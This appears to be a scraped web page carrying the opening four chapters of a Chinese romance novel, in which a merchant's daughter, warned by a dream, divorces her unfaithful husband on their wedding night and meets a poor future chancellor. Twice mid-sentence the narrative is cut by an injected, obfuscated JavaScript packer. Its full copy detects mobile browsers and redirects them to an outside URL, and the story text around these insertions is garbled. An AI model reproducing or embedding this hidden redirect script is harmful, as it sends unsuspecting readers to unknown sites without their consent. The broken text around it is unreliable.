《租未来宰相当赘婿》 1. 01 “你以为我为何把淑慧的儿子，记在你名下？” 男人面目狰狞，指尖刮过苏雨棠瘦削的脸，粗鲁掐起她下颌。 “蠢妇，真当爷心疼你？” 苏雨棠脊骨窜起阵阵寒意，瞳仁放大，身体不受控地发抖。 她不敢细思。 “哎呀，姐姐莫气坏身子。”女子亲昵挽缠男人手臂，红艳的唇绽露得色。 “气死才好。”男人将苏雨棠重重掼在床上，像甩弃一块破布，“你那些嫁妆早该给我！” 苏雨棠侧伏床里，奄奄一息。 悔与恨急剧翻涌，像沸腾的铁水，灌漫肺腑。 浓郁血腥气充溢她鼻腔、喉咙，噗一声，喷溅在浸满腐朽药气的衾褥上。 “唔。”滞闷的痛呼声中，苏雨棠猛然睁眼。 她扒开覆盖住口鼻的衾被，惊惶坐起，大口吸气，像骤然拉动的风箱。 猛烈的呼吸，刮得她鼻腔干疼。 可怖的血雾围着她滚涌，她不由汗毛倒竖。 待眼神稍稍聚焦，铺天盖地的红扑入眼帘，苏雨棠愣住。 眼珠缓慢转动。 眸光流过双喜帐幔，鸳鸯绸被。 包围她的，不是灭顶的血红，而是新婚燕尔的吉庆喜色。 苏雨棠额角已冷汗涟涟，她抬手擦拭，惊魂未定。 好端端的，怎会做这等不吉利的噩梦？ 神思回笼间，纷乱缥缈的梦影如潮水般消退。 可一些重要的事，清晰搁浅在脑海。 她的新婚夫君庄锦才，很快会纳贾淑慧为妾，两人还将合谋吞下她的嫁妆。 男人贪婪的话语，历历在耳。 苏雨棠瞥一眼身侧。 宽大的红绸鸳鸯被外侧，空出大块位置。 新郎不在。 依稀记得，对方掀开盖头后，连合卺酒都没饮，便被小厮叫走。 他竟彻夜未归，一如梦中。 “小姐？” 熟悉的声音，让苏雨棠抓住些许安宁。 “玉簪。”苏雨棠撩开纱帐问，“几时了？相公还没回府么？” 鎏金烛台上，喜烛高照，蜡泪凝挂如川。 丫鬟拉起衾被，拢住她细肩，回话：“没呢。” 见她面色不佳，紧接着宽慰：“小姐别担心，许是姑爷高兴，与几位同窗赏画吟诗，忘了时辰，明早定会回来陪小姐敬茶。” “才刚到丑时，早着呢，小姐再歇歇？” 庄锦才走之前，似乎知会过，侍郎家的公子偶得前朝丹青大家真迹，几位同窗邀他共赏。 可梦里，姓庄的根本是在骗她。 他没去赏画，而是在杏花巷与贾淑慧私会！ 记在她名下的便宜儿子，便是这时候怀上的。 究竟是梦是谶？一探便知！ “玉簪，替我梳妆。”苏雨棠掀开鸳被。 乱蓬蓬的思绪，掩在密匝匝微颤的卷睫下。 盆中红罗炭被霜烬覆盖，红光弱化。 惊惶、愤怒，心内浓烈的情绪在消减。 苏雨棠战栗着，披上玉簪递来的棉氅，果决地朝书案走去。 “奴婢去添些炭。” “不必。”苏雨棠提笔，“去把我们的人都叫起来，待会儿随我出府办件事。” “别惊动庄家的人。” 她运笔如飞。 梦中一切，像疾驰的马车外迷蒙的光影，在她脑海飞掠。 若是真，她绝不手软。 天寒风冷，夜深人静。 苏雨棠带上陪嫁的丫鬟、婆子、仆从，足有十来人，默默出府。 “我梦见祖母病倒，实在不放心，必得回去看看。”苏雨棠嗓音透出强忍的哭腔。 玉簪掏出两枚明晃晃的银锭，快速塞进门房手里。 苏雨棠吸吸鼻子，细声细气保证：“天寒地冻，大叔拿去买酒喝。我定快去快回，不令大叔为难。” 守门大叔打量她一行人，眉头打结，欲言又止。 掂掂银子，还是咬牙收好，躬身赔笑：“少奶奶只管去瞧，小的替您守着门。” 马车走远，守门人收回视线。 隔着衣料捏捏硬实的银锭，他嘀咕：“早听说少奶奶有钱，果然财大气粗。” 又忍不住摇头：“这庄家门哪是好进的？才半宿就受不了委屈，跑回娘家哭诉。往后啊，哭的日子还多着呢。” 夜市仍亮着灯，道旁店铺已陆续打烊，街上人不多，一眼望去，约莫有数十人徜徉其间。 摊位倒摆着不少，有的冒着腾腾热气，有的已在装筐收摊。 “小姐，前头便是杏花巷。”走在窗外的婆子，压低声音禀。 苏雨棠望一眼，点点头。 放下夹棉窗帷，侧过脸，身姿朝玉簪略倾，附耳细嘱。 “能做到吗？”苏雨棠坐直脊背，盯着她，眉目舒展。 仿佛方才交代的，不过芝麻绿豆的小事。 玉簪心惊肉跳。 她从未做过这等出风头的事。 却鼓足勇气，坚定应：“奴婢一定做好！” 片刻后，杏花巷内，灰衣家仆抄起精铁匕首，麻利拨开门闩。 门里打盹的小厮被碰倒，茫然惊醒。 认出来人，眼睛骤然圆睁。 张开嘴，惊呼声被汗巾塞回喉咙。 眨眼间，已如死猪一般被扔到墙角。 苏雨棠裙裾飘曳，缓步迈入门槛。 借昏灯扫见院中杏树，她呼吸一滞。 竟真有这处院子，与她梦中一般无二。 梦里，庄锦才说妾室身子重，要她抬软轿来迎，给爱妾做脸面。 可现世里，她是第一次来。 苏雨棠神魂激荡。 须臾，她眸光清明，心中那杆迟疑的秤明显倾斜。 她轻抿朱唇，迈开步幅，越过杏树凋秃不光彩的枝影，踏上衰草陈嵌的石阶。 “淑慧，委屈你了，你再等我几日，待陪那贱人回门后，我即刻来接你。”庄锦才搂着温香软玉，信誓旦旦。 “锦郎，姐姐会同意我进门么？” “进门又如何，也只能为妾。呜呜，我素来清白本分，该嫁个良人做正头娘子的，偏偏遇着你这冤家，害我爹娘也跟着蒙羞。若他们知晓，只怕要打死我。”贾淑慧轻推他，作势往床柱上碰，“情义两难全，我不如现下便一头撞死！” “淑慧！”庄锦才忙展臂拦住她，将她拉回怀抱，“你是我最爱的女人，我怎舍得你屈居人下？我庄锦才发誓，终有一日叫你做我的正妻。在我心中，只有你一个妻子。至于苏雨棠那贱人，她若不识相，可没好果子吃！” “锦郎，我不想伤害苏姐姐。” “春宵苦短，好慧儿，莫提不相干的人。” 苏雨棠静坐屏风外，神动色飞。 男人提起她时，凶厉阴狠，哄娇妾时，温存爱怜。 仿佛她是棒打鸳鸯的恶棍。 苏雨棠扯扯唇角。 被背叛的是她，他们还嫌她没乖乖伸长脖子挨宰。 “锦郎……”女子对他的态度很受用，嗓音越发软腻。 帐内声娇情浓，床板吱呀作响。 苏雨棠直撇嘴，恨不得先去洗洗耳朵。 亲耳听到里头的腌臜动静，苏雨棠内心竟出奇平静。 梦里都气死过一回了，何必再为个龌龊臭男人伤神？ 此刻，她已确信，梦境并非虚妄，而是上天垂怜，给她的警示。 苏雨棠羽睫半敛，细白的指慢条斯理抚捋水红色绸帕，指腹摩挲着娇艳的并蒂莲纹，目光定格。 多喜俏的帕子。 是她出嫁前含着羞赧与期许，一针一线亲手所绣。 苏雨棠眸光一凛，指尖下压，新涂蔻丹的娇艳长甲，决然破开薄绸交错的经纬。 她抬眸，瞥向身侧侍立的刘婆子。 婆子穿着她新赏的赭红色缎袄，正急赤白脸盯着屏风，眼睛冒火，快要将屏风灼个窟窿。 服侍她几年的婆子，尚且气愤至此，明日阿娘知道，应当会认同她的做派？ 她不确定，但不重要。 轻扯婆子衣袖，她扫视同样面带怒容的其他随从：“替我将里头那对狗男女绑起来，回头每人赏银十两。” 语调不高，却如惊雷。 屏风里难解难分的野鸳鸯，瞬间被炸懵。 “好你个庄锦才，竟敢这么对我们家小姐！”婆子、仆婢们得令，争先恐后声讨，闯进屏风里。 “啊！”女子惊恐惨叫，嗓音不复甜腻，“出去，都出去！” 男人恼羞成怒：“大胆！苏雨棠，你这贱人，唔 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先把人稳住，等回到府里，关上门，再好好磋磨她，以雪今夜之耻！ 捕捉到他阴晦的眼神，苏雨棠能猜着他正做什么美梦。 她恍若未觉：“庄公子与贾娘子巫山共赴，春画同赏，是真正志趣相投的眷侣，本小姐今日便成人之美。” 说着，忽略两人变幻的神情，从袖中取出一张薄笺，摊开在男人面前。 “你若答应，便点点头。” “我替你松绑，你签字画指。” “咱们一别两宽，好聚好散。”苏雨棠盯着他的眼睛，欣赏他的反应。 目光落到纸笺上，男人登时目眦欲裂，像见着鬼。 抬头望她，气势凶猛，整个人气得抖动。 “怎么？不答应？”苏雨棠也不劝，视线移向贾淑慧，惋惜感叹，“你瞧，他方才都是骗你的，我把妻位让给你，他却不愿娶你呢。” “在他心里，你会不会只配做妾？” 此话一出，贾淑慧眼神大变。 庄锦才急了，盯着苏雨棠，歇斯底里唔哝，挣得脸红脖粗，忙不迭点头。 “庄公子这么快就想通了？”苏雨棠弯唇，眉眼冰雪消融了些，“刘嬷嬷，给他松绑。王叔，上笔墨。” 刘嬷嬷从庄锦才嘴里扯下布团，垂散开，竟是一只臭袜子！ 虽解气，可苏雨棠还是被恶心到，跳起来，拖着椅子一口气退三步。 庄锦才张嘴欲骂，却被怪味熏得翻白眼，歪头干呕。 眼珠刚回位，王叔已将沾好墨的湖笔杵到他鼻尖：“签吧。” 庄锦才下意识后缩。 想到此举有损男儿气概，又挺直身板，冲苏雨棠嚷嚷：“贱人！你写的那是《休夫书》？！哪有娘子休弃相公的？还是在新婚之夜！苏家怎会养出你这样不讲伦理纲常的东西！” “王叔，掌嘴。”苏雨棠语气平静。 王叔平日干杂活，劲儿就是大。 啪啪啪，三五记巴掌，挥得虎虎生风，响当当。 噗，庄锦才吐出一口鲜血。 “你敢打我？！” 苏雨棠盯着地上血迹，眸光晃漾。 “这是你的新婚之夜，不是我的。”她扫向面色苍白的贾淑慧，浅笑意味深长，“否则，你怎么会在贾娘子床上？” “你！”庄锦才语塞。 “不管怎样，你已是我庄家的人，当以夫为天。立刻替我们松绑，今晚的事我可以考虑放你一马，不动家法。”嘴上光堂，眯起的眼睛却泄露真实的恨意。 “呵呵，庄公子似乎还没看清眼下的状况。” 她停顿一息，倾身：“你凭什么同我谈条件？” “不签是吧？”苏雨棠站直身形，慢条斯理吩咐，“刘嬷嬷，开院门。王叔，把灯都点上，越亮越好。” 庄锦才脊背莫名发寒：“你，你要做什么？” 不多时，敞开的院门外传来杂沓的脚步声。 “看戏么，当然是人多才热闹。”苏雨棠冲他笑，笑得温柔纯净。 庄锦才和贾淑慧对视一眼，都从对方眼中看到深深的惊恐。 “我签！我签！”庄锦才仓惶四顾寻笔。 2. 02 点好灯，王叔反剪庄锦才左臂，押着他动笔。 休书签好，沾地上的血迹盖上指印，背上力道放轻，庄锦才松一口气。 可下一瞬，麻绳一勒，将他缠紧，他才后知后觉反应过来，苏雨棠这贱人根本没打算放过他！ 院门也没关！ “苏雨棠！”他死瞪着她，咬牙切齿。 却见少女已换上另一幅面孔，弱质纤纤捏起帕子沾拭眼角。 “庄公子，你瞧不上我，大可早些同我言明，你既心有所属，我岂会死缠烂打？自当取消婚约，成全你二人。你又何必在成亲当晚，与贾娘子在此私会，如此折辱我苏家？” 听脚步声，院中该已进来十余人。 脚步快的，已进到屋内，估摸着能听清她的话。 “小姐，奴婢终于找到你了！你受苦了。”玉簪小跑过来，扫视眼前情景，不可思议地睁大眼，“姑爷，你怎能这样伤害我家小姐？” 苏雨棠摇摇头：“玉簪，他何止是伤害我？婚约是父亲生前定下的，他是在羞辱父亲在天之灵啊。” “他可以伤我，却不该让父亲难以安息。”苏雨棠侧过身，泪眼蒙蒙朝围观的众人施礼，“请诸位街坊帮忙做个见证，今夜，我要休了庄公子，成全他与心上人！” 一石激起千层浪，众人惊掉下巴，指指点点。 交头接耳的声音，吵得庄锦才脑瓜子嗡嗡作响。 贾淑慧则往他身后挪，头深深垂下，努力降低存在感。 察觉到她的举动，庄锦才的脸红里泛起黑。 两个人的事，只推他一个人顶，哪有这种美事？ 他是读书人，将来要考取功名，出将入相，名声不能有瑕！ 庄锦才一咬牙，侧身将贾淑慧晾到众人眼前。 跪着冲苏雨棠恳求：“娘子，你误会了，她不是我的心上人，她设计对我下药，是她勾引我的。求你原谅我这一次，我现在就跟你回府，往后我定加倍补偿你！” 一堆谎言，苏雨棠一个字都没听。 不经意冲刘嬷嬷使了个眼色。 “庄公子，你怎的翻脸无情？！”贾淑慧激动到脑仁发胀，布团突然被扯走也顾不上细想，“我没下药，苏姐姐若不信，大可请郎中来验。” 她一个女子，尚未婚配，已失清白，若任由庄锦才抹黑，就真没活路了。 说到此处，她脊背佝偻，嗓音低下去，满腔委屈：“我与庄公子是两情相悦，此前，我并不知他已有婚约，更不知今夜是他新婚之夜。我，是我对不起苏姐姐，可我已是庄公子的人，还请苏姐姐给我一条活路。” 是他先不仁。 她暗自劝慰自己。 贾淑慧声泪俱下，楚楚可怜。 但她话里的弯弯绕绕，苏雨棠哪会听不出来？ 有心计才好，正好跟庄锦才凑一对，回去关上门，狗咬狗。 “我与庄公子已恩断义绝，你不必求我。”苏雨棠捏着休夫书，在众人眼前抖了抖，最后视线定格在庄锦才虚伪的脸上，“庄公子，这么多双眼睛盯着，你可一定要对贾娘子负责啊，她可是清白本分好姑娘呢。” 人群里，不知谁忍俊不禁，带起一阵哄笑。 谁家清白本分的好姑娘在外宅跟男人私会？ 庄锦才不认，挺直腰板要站起来吼。 嘴刚张开，就被王叔拿臭袜子堵上，肩头一沉，按跪回去。 “家丑不可外扬，让诸位街坊见笑了。”苏雨棠嗓音柔和，与庄锦才的气势汹汹对比鲜明。 本就是姓庄的不做人，众人下意识站在苏雨棠这头。 “多谢诸位陪我找到小姐，天寒地冻，这是小姐的一点心意，街坊们拿去买碗热茶喝。”玉簪早有准备，一人塞了一小块碎银，足有一两！ 多数人不好意思收，还是一位衣料不俗、高挑英气的年轻公子先收下。 他信手抛高，又稳稳接住：“苏小姐大气啊，这姓庄的畜生确实配不上，休便休了。若他事后同你闹，你让人去端……咳，去镇国公府找我，我让国公爷替你做主。” 锦衣公子气势十足，斩钉截铁。 苏雨棠惊愕不已。 苏家是商户，她梦里、现世能说上话的最大的官也就六品，镇国公府的门朝哪儿开她都不知道，半夜捉奸，竟让她撞上这种大运。 “多谢裴公子。”苏雨棠欣喜拜谢。 再抬眸，对上公子欣赏的目光。 很快，他背过身，对她挥挥手中没啃完的半根肉串，大步朝外走。 待他走远，众人才回神，惊叹不已。 “那是镇国公府的公子？生得真俊啊！” “有国公府撑腰，苏小姐真是福星高照啊。” “可有些人，恐怕要倒霉咯。这位庄公子看起来是个读书人吧？往后还能指望入朝为官吗？” 一句一句像冰水浇在庄锦才心口，他吓得脸色煞白，双眼发直。 有公府公子的话镇场，苏雨棠越发放开手脚。 姓庄的不是喜欢这私宅么，就把他绑在这儿晾一夜。 从小院出来，一片清凉贴上鼻尖。 她抬首，望见轻柔晶莹的细雪。 腊月里的第一场雪，瑞雪兆丰年。 想想今后，她欣然含笑。 嫁妆还在箱笼里装着，没来得及收拾、入库房，正好不必忙了。 刘嬷嬷带人清点、归拢，王叔安排明早抬嫁妆的人手。 时辰不早，苏雨棠拥被在罗汉床上眯了一会，便起身准备。 来到正院，庄父、庄母坐在上首，丫鬟递茶水时，庄母的眼睛已在她和玉簪身上打转。 倒是庄父，还记得儿子。 “锦才呢？怎么没一起过来？”庄父疑惑。 庄母眼睛一闪，如梦初醒：“对啊，锦才呢？” 茶盏递至身前，苏雨棠没接。 “正好，我也有话想问伯父伯母，当初父亲与伯父定下婚约，是信任伯父，想结两姓之好。可新婚之夜，庄公子撇下我，去杏花巷的外宅与旁的女子私会一宿。他如此羞辱苏家，辱我父亲在天之灵，是二位授意的么？庄家对苏家究竟有什么深仇大恨？” “这不可能，一定有什么误会，雨棠啊，你莫要听信谗言，等我们找到你相公再说。”庄母不信，儿子会如此不顾大局。 没等庄父开口，苏雨棠已优雅抽出休书。 “不必了。”她将休书抖开来，对着二人：“庄公子已签了这份休书，即日起，我与庄家再无瓜葛。” 言毕，不给二位说话的机会，转身便走：“玉簪，抬上嫁妆，我们回家。” 那休书她写得匆忙，未加润色，任庄家谁看了都会冒火。 “不许走！”庄母一心等着有钱媳妇孝敬呢，幻想破灭不说，还被人兜脸扇了一巴掌，“锦才呢？他是你相公，就算他真的在外头有人，也是你这个做妻子的没本事，拢不住他的心。男人三妻四妾很正常，你……” 她的话噎在嗓子眼。 不是不想说，而是苏雨棠已经走远，她说的只有庄父在听，且庄父听得眼睛发亮。 “就知道夫人大度，我今日就去替嫣红赎身。” “你做梦！” 走出正门时，时辰尚早，门房还没换班，当值的仍是昨晚的大叔，倚门打瞌睡。 “少奶奶这么早出门？”大叔眼睛熬得有些发红。 玉簪拿出一包银钱，递给他。 苏雨棠含笑，温声道：“昨夜，多谢大叔行方便。我已不是这府里的少奶奶了，庄家老爷、太太正在气头上，恐怕会迁怒大叔。大叔若愿意，拿上这笔银钱，另外谋生去吧。” 五十两，大叔五年也难攒下这么多。 他眼睛更红了，这回是动容。 “庄家人确实不好相与，小姐成婚一日便归家，恐怕日子也不会好过。”他握紧素布钱袋子，鼓起勇气，“小的不止会看门，也有把子力气，会赶车，能跑腿，小姐若不嫌弃，往后小的任苏小姐差遣。” 门房大叔姓张，苏雨棠让他试着赶马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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就算皇帝、皇后，也不可能做什么都让人喜欢、夸赞，何况是她，她没有时刻赢得赞誉的野心，只想过好自己的日子。 见玉簪要去同人理论，她掀开一角车帷，及时把人叫道窗边：“我想吃荣记的芙蓉酥、羊乳糕，趁人都围在这儿，你去替我买两匣来，料想都不必排队。” “小姐竟还笑得出来。”玉簪愤愤不平。 苏雨棠笑催她：“还不快去，去晚了买不着，当心我扣你月钱。” 放下窗帷的一瞬，一道深蓝人影晃过眼帘。 身量高，应是个男子，没看清，也不知生得俊不俊。 那清逸儒雅的书卷气，将他区别于所有人，昂昂然如野鹤之在鸡群。 这使得苏雨棠攥着绣帷的手，没即刻松开。 略迟疑，她再度掀开窗帷，露出半张芙蓉面，朝人群里望去。 人海茫茫，她并未寻到符合她感觉的那道身影。 好不容易凑足药钱，沈酌一早便赶往药铺。 可不知怎的，平时人不算多的一段路，被堵得水泄不通。 生恐所需的药材卖完，他尽力避开人群，贴着路边往药铺方向艰难挪动。 休夫？ 嘈杂的人声里，这二字令他下意识驻足。 侧眸望去，不期然瞥见锦绣车帷侧，少女莹白的侧脸，和攥着车帷的柔荑。 雾鬓花颜，纤指如玉。 像是琉璃高墙里探出的花枝，与他是两个世界。 人群往马车驶去的方向挤，前方短暂空出一段，沈酌快步闪身过去。 放下窗帷，车厢里光线稍暗下来些，苏雨棠摒弃外头的声音，陷入沉思。 将她能想起的梦境回忆一遍，苏雨棠思绪逐渐清晰。 休夫回苏家，并非一劳永逸。 觊觎她和阿娘手中家财的，可不只有一个庄家。 “往后谁敢娶这种悍妇？”此话鬼使神差回荡在她耳边。 她点点头，莞尔一笑，说的也对。 没人敢娶。 她也不想过梦中那种，出钱出力伺候人，还被夫家嫌弃的憋屈日子。 不如招赘好了，将来自立门户。 挑个合她眼缘的赘婿，越英俊越好。 梦中无子，她想生几个自己的孩子，好看的孩子。 她把家财都给自己的骨肉，旁人谁也别想抢走。 3. 03 却说庄家老太太，她岁数大，少眠，天还没亮，便穿戴整齐，坐在罗汉床上等新妇来尽孝。 老太太发髻梳得一丝不乱，眼珠浑浊，眼神精明。 两个小丫鬟板板正正跪在她身侧，一个替她捏肩，一个捶腿。 她略垂眼，盯着手炉上的规则重复的缠枝花纹。 新嫁娘很容易仗着相公宠爱，太把自己当回事，得磨性子。 好在年纪小，好吓唬，也好拿捏。 “什么时辰了，还不过来。懒惰散漫，该早些把规矩立起来。”老太太抬抬眼皮，“等锦儿他们过来，就说我头疾犯了，让锦儿先进来侍疾，将那苏氏晾半个时辰，就说她与我犯冲，跪着罚抄半个时辰经书再请进来。” 小丫鬟们听得头皮发紧，却个个神情呆木，没人敢质疑。 等到天光大亮，小两口还没来。 老太太嘴角耷拉到底：“去催催，若没起身，拖也得把苏氏给我拖过来！” 丫鬟才要出去，迎面便见老爷、太太进院，脚步一个比一个匆忙。 庄太太甚至跑到庄老爷前头：“母亲，苏氏那贱蹄子反了天了，我早说那商户女没教养，该给锦才求个官宦小姐，老爷拉不下脸来悔婚，这下可好，咱们庄家丢人丢大发了，您快出去看看吧。” “你也是有头有脸的人，这般慌不择路、大呼小叫，成何体统？！”老太太下一句就要请家法了。 谁知，庄太太噗通跪到她身前，声泪俱下：“苏氏污蔑锦才在外面鬼混，逼着锦才签下休夫字据。眼下，那贱蹄子已搬上嫁妆离府了！” “你说什么？！”老太太霍然起身，眼前一黑，险些栽倒。 她声调尖利，几乎破音。 “老太太晕倒了，快请郎中！”庄太太慌乱张罗，“这叫什么事啊。” 老太太可是庄家的定海神针，她倒下，庄老爷又一心惦记着纳相好为妾，庄太太头疼得像锥劈锤凿，也不得不撑着心气儿主持大局。 苏氏年轻气盛，等腾出手来，必叫她后悔，求着回来。 眼下最要紧的是找到锦才，问清来龙去脉，设法把过错推给苏家！ 锦才要考状元的，名声可不能坏。 庄太太领人到了杏花巷，畅通无阻进入小院。 “我的儿啊！”看到儿子衣衫不整被绑在床柱上，庄太太呼天抢地扑过去。 感受到儿子周身热烘烘的温度，红得异样的脸色，她心如刀绞。 她狠狠甩了贾淑慧两巴掌:“贱人，你若毁了我儿子，我要你不得好死！” “贾娘子可是您儿子的心头肉，肚子里可能都有您孙子了，庄太太何必下这么重的手？”来人是苏雨棠留下看守的仆从之一。 庄太太是他奉命故意引来的。 晚一步引来的，还有附近茶楼、酒肆里爱凑热闹的看客。 其中二人面善，是昨夜收了玉簪银子的，少不了跟着帮腔:“是啊，昨晚的好事，我可是亲眼所见。” “对对，他二人情投意合，人家苏小姐都休夫成全了，庄太太还不敲锣打鼓把人娶回去？哈哈哈！” 娶她？一个不知被多少男人瞧了去，不清不白的狐媚子？！ 庄太太只恨身子骨太硬朗，没和老太太一块儿晕过去。 她眼一闭，装晕避祸。 “装晕？”苏雨棠听仆从禀报完，忍不住笑出声，“是她能干出来的。倒是老太太，没想到也是纸老虎。” 想起梦里的磋磨，她仍齿根发痒。 庄锦才身上烫的很，不知是冻的还是吓的，得赶紧退热，庄家忙成乱麻，应当能安生几日。 苏雨棠拈起一块羊乳膏，放进嘴里，乳香化开，浓郁甜润。 她满足地眯起眼。 “棠棠，你竟是休夫回来的？！”温氏还是从外头听说的。 这是她教出来的女儿？ 等婆母动怒，等庄家来要说法，她和女儿都会被架在火上烤。 “棠棠，趁你祖母还不知道，随娘去庄家服个软。”温氏拉住苏雨棠。 没拉动。 “阿娘觉得我做的不对？庄锦才金玉其外败絮其中，辱女儿，辱父亲，辱整个苏家，难道我不该休他？”苏雨棠早料到会如此，但还是有些失望。 娘对她很好，却也不是无条件地爱。 “他是做得不对，可那也不是十恶不赦的事，何必一棍子打死，不留余地？我们两家相交多年，生意上也有往来，总该顾些体面。棠棠，过日子不是这样的，你让一步，我退一步，才能长久。闹成这样，外人都道你凶悍泼辣、善妒，伤敌一千，自损八百，又是何必？你若原谅他这一次，他会感激的。”温氏苦口婆心劝，“往后稳重些，娘教过你要贤良淑德，有容人之量，回去好好过日子吧。” 温氏说了很多，似乎都是为她好。 苏雨棠静静听她说完。 规劝的话，与梦影中生出的枝蔓，交织在一起，钻进她耳朵，以柔和的力道绑缚她。 苏雨棠抿唇，闭了闭眼，毅然挣开那些看不见的束缚。 若没人无条件爱她，她更要多爱惜自己。 “父亲年轻时可有提过纳妾？那时阿娘也是这么劝自己的吗？”她深吸一口气，问出这一句。 捕捉到阿娘眼中浮起的痛色，她又软下心肠。 苏雨棠移开眼:“外人的话，不痛不痒，伤不到我，可母亲不该助纣为虐，为欺辱我的人做帮凶。女儿不会回庄家，我打算招赘。阿娘只有我一个女儿，往后也只能靠我，不如多支持我，真正为女儿打算。女儿过得好了，才有余力对阿娘尽孝。不是吗？” 面对女儿，温氏第一次觉得紧张无措。 庄锦才真的伤到女儿了对吗？ 而她，在女儿眼中，竟是帮凶？ 温氏张张嘴，哑然，无从辩解。 “小姐，老太太派人请您过去问话。”玉簪通禀。 吃饱喝足，苏雨棠本想补补觉，听到这话，眼中闪过一丝厌烦。 祖母可没有阿娘好说话，她若不去，不消一刻，祖母就会亲自过来。 “说我病了，吃了药刚睡下。” 将人打发走后，她换了身衣裙，悄然出府躲清净。 也不单为着躲，她得出来转转，寻个合眼缘，身份又不太高的男人。 她没坐轿子，朝嫁妆铺子的方向走。 她的赘婿要模样好，也要脑子灵光，最好是个读书人，将来她的孩儿能遗传一二。 这样的人选可不好找，要不去找媒婆问？ “诶？那地上是不是躺着个人？”苏雨棠怀疑自己眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543373|204012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花，驻足眨眨眼，细瞅瞅。 确信是个大活人。 她抛开没理清的思绪，捉裙小跑过去。 “大娘。”苏雨棠唤了两声，人没反应。 “玉簪，我记得前面有医馆，帮我扶她过去瞧瞧。” “不好！”郎中只看了一眼，便拧紧眉心，快速替她施针。 又拟了方子让药童去煎，还不忘安排人去通知大娘的家人。 “赵郎中认识这位大娘？”苏雨棠好奇问。 “何止认识，我这里诊金便宜两分，沈大娘家贫，一贯在我这儿看病抓药，方才还来过一次呢。” 说到此处，赵郎中长叹一声:“孤儿寡母的，难啊！沈郎君是个孝顺的，可沈大娘是个多愁多病的，平日里靠抄书、浆洗维生，能糊口就不错了，哪有钱抓药？这不，早上沈郎君刚抓了药回去，方才沈大娘又偷偷给送来了，抹着泪让我还她银钱，好给沈郎君交束脩。哎，其实这药也只能吊着命，治不了本，救她命的药我这儿也没有，有他们也买不起，有什么法子。” 这沈大娘一心顾着儿子前程，可她讨回的银钱并没在身上，或许昏倒后被人偷了去。 沈郎君宁可不交束脩，也要给母亲抓吊命的药，若换个人，只怕早就放弃了。 他们都是很好的人。 苏雨棠心里不是滋味，暗自感叹。 那口气刚叹下去，便听医馆外一阵急促的脚步声靠近。 “娘！”沈酌喘着气，似乎跑得很急，发髻都有些乱，一缕青丝垂在苍白的颊边。 但他骨相生得极好，不显狼狈，倒有种奇异的俊美。 苏雨棠一时没移开眼。 沈酌没留意，忙完回家没见到娘，找了很多地方，心里有种不祥的预感。 看到娘的这一刻，他的心才落到实处。 “沈酌，你可来了，你娘刚才昏倒在街上，危在旦夕，幸好遇到苏小姐，给扶过来，诊金、药钱也替你付了，你可得好好谢谢人家。”赵郎中为他们引荐。 苏雨棠端凝着他，怀疑他就是早上她无意中瞥见的那道身影。 听到赵郎中的称呼，心口蓦地一跳。 沈酌？会在六年后高中探花，日后成为大魏最年轻的宰相的那个沈酌吗？！ 梦里她并未见过，却听庄锦才提过几次，每一次都带着浓浓的嫉妒与不甘，然后将火气撒在她身上，怪她和苏家无能，不能做他的助力。 她曾反问，难道沈酌是靠妻族当上宰相的吗？ 换来的是庄锦才更旺盛的怒火。 梦里，人人都知，沈相无父无母，他是靠自己走到万人之上。 “多谢苏小姐救命之恩，沈某一定尽快还上银钱。往后，苏小姐若有用得上沈某的，在下万死不辞。”沈酌深深拜谢。 他举止端方，没盯着苏雨棠瞧，但少女精美的裙摆，令他忆起早上的惊鸿一瞥。 他知道，是她。 那位洞房花烛夜休夫，今日大街小巷都在讨论，他很难不耳闻，已然名震京城的苏小姐。 “或许，我有法子治好沈大娘的病。”苏雨棠突然有个大胆的想法。 沈酌猛然抬眸，清隽的眉眼间，有疑惑，也有希冀。 “明日午后，苏记布庄对面的茶楼，我请沈郎君喝杯茶。” 4. 04 药煎好，天色已擦黑。 散发药香的粗布帘里，年轻郎君侧坐病床边，稳稳端着药碗，一勺一勺慢慢喂到母亲嘴里。 他动作娴熟，不骄不躁。 沈大娘人还不太清醒，眼半合着，僵硬地吞药。 才咽下去，苍白憔悴的脸便挣红了。 咳嗽声尚未发出，沈酌已捏起布帕凑近她唇角，等着替她擦拭。 垂拢的两片布帘，被风吹开一线罅隙。 苏雨棠立在帘外，回眸望去。 这清苦又温馨的一幕，恰落进她眼底。 都说人靠衣装马靠鞍，也不尽然。 庄锦才总打扮得人模狗样，出门必熏香缀玉，但她从未多看对方一眼。 她脑中甚至不能清晰浮现对方样貌。 而沈酌，穿着最普通的深蓝布袍，腰间粗布束带算是唯一的饰物，举手投足却似散发着晨雾崖松般的气度。 她瞧着很是清雅顺眼。 忍不住瞧一眼，再瞧一眼。 这算是合她眼缘吧？ 行善果然会有好报。 若非救起沈大娘，她也不会遇到未来惊才绝艳的探花郎，更不知何时才会找到合眼缘的人选。 不过，他一个不依靠妻族，单枪匹马爬到相位的人物，想必颇有几根傲骨，会答应她那算得上无礼的合作吗？ 他是孝子，只要她能救他母亲，他应当会考虑吧？ 不管怎样，总得试试。 万一他同意，她也算又撞一回大运，替她和未来的骨肉提前抱上大树，孩儿将来能得对方一两分照拂也好。 他若不答应，也无妨，她再另外物色便是，街上三条腿的蛤蟆难找，两条腿的男人可不少。 而沈大娘，是她自己想救。 往外走几步，离得远些，苏雨棠低声询问：“赵郎中，容我冒昧问一句，若想救治沈大娘，究竟需要什么稀罕药？” 赵郎中轻叹一声，摇摇头。 忽而，他脑中回响起关于昨夜的传闻，浑浊的眼，闪动璀亮的光。 苏小姐心善，又能与国公府的贵人说上话，没准儿能弄来呢，便是沈大娘的造化，他也能跟着见见世面。 